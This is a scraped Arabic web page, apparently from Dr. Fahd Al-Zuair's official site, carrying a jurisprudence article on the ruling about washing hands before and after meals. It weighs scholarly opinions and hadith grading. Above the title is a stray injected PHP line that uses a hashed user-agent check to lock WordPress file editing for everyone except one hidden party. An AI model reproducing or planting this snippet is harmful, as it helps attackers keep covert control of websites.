if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم غسل اليدين قبل الأكل وبعده - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم غسل اليدين قبل الأكل وبعده

قد اختلف أهل العلم رحمهم الله في غسل اليد قبل الطعام على قولين، وربما نقول ثلاثة: القول الأول: ما ذكره المؤلف هنا وهو الكراهة، والقول الثاني: الاستحباب، والقول الثالث: أنه جائز لا سيما إذا دعت إليه الحاجة وكان في يده قذرًا أو يخشى أن يكون في يده شيءٌ من القذر.

إذن اختلف العلماء في غسل اليدين قبل الطعام فمنهم من كرهه ومنهم من استحبه ومنهم من أباحه، ذكر رحمه الله في ذلك روايتان: الكراهة والاستحباب كما ذكر ذلك شيخ الإسلام ابن تيمية وتلميذه ابن القيم رحمهما الله، ولما سُئل الإمام أحمد رحمه الله عن غسل اليدين قبل الطعام، قال: زي العجم أو قال: فعل اليهود، وهذه علة من قال بالكراهة، ومن استحب ذلك استدل بحديث مرويٍ في ذلك، حديث سلمان رضي الله عنه، قال سلمان الفارسي رضي الله عنه: «قرأتُ في التوراةِ أنَّ بَرَكَةَ الطعامِ الوضوءُ بعدَهُ، فذكرْتُ ذلِكَ للنبيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ أخبرتُهُ بما قرأتُ في التوراةِ، فقال رسول اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ: بركةُ الطعامِ الوضوءُ قبلَهُ، والوضوءُ بعدَهُ»[1] إذن سلمان يقول: إني قرأت في التوراة أن بركة الطعام أن يتوضأ بعده يعني يغسل يديه، فأخبر صلى الله عليه وسلم أن بركة الطعام تكون أكمل في غسل اليدين أو الوضوء كما عبّر هنا قبل الطعام وبعده، والحديث رواه أبو داود والترمذي لكنه حديثٌ ضعيف لا تقوم به حجة، قال الترمذي: وفي الباب عن أنس وأبي هريرة، وقال: لا نعرف هذا الحديث إلا من حديث قيس بن الربيع، وقيس بن الربيع راوي هذا الحديث ضعيف في الحديث، قال ابن مفلح: قال مهنا: ذكرت هذا الحديث لأحمد، فقال: ما حدّث به إلا قيس بن الربيع وهو منكر الحديث، وذكر العلامة ابن القيم رحمه الله في تعليقه على مختصر سنن أبي داود عن الخلال أنه قال: أخبرنا أبو بكر المروزي من أصحاب الإمام أحمد قال: رأيت أبا عبدالله -يعني الإمام أحمد- يغسل يديه قبل الطعام وبعده، وبناءً على ما سبق وعدم صحة حديث سلمان ولأن غسل اليدين ليس فيه شيءٌ من التشبه بالعجم ولا باليهود، نقول: الراجح أن المسلم يغسل يده قبل الطعام لا سيما إذا احتاج إلى ذلك، أما إذا كانت يده نظيفة وقد غسلها قبل الطعام بزمنٍ يسير ولم يتعرض لها شيءٌ من التراب أو الغبار أو الأذى أو القذى أو ما يمكن أن يقال كالجراثيم ونحوها فإنه لا يحتاج إلى غسلها، بمعنًى لا يُقال باستحباب الغسل وسنيته ولا كراهته بل يُقال إن احتاج غسل وإلا فلا وذلك من باب النظافة، فيكون الاستحباب عند القائلين به ليس لذاته وإنما للنظافة، وليس ثمة وجه للتشبه باليهود حتى يُقال بتركه لأنه من زيهم أو من فعلهم بل نقول: المسلم كغيره وهو أجدر بالنظافة وأبعد عن القذر والأذى؛ لأن دينه دين النظافة يدعوه إليه.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه أبو داود (3761)، والترمذي  (1846)واللفظ له، والحديث ضعفه شعيب الأرناؤوط في تخريج سنن أبي داود (3761)، وكذلك ضعفه الألباني في ضعيف الترمذي (1846).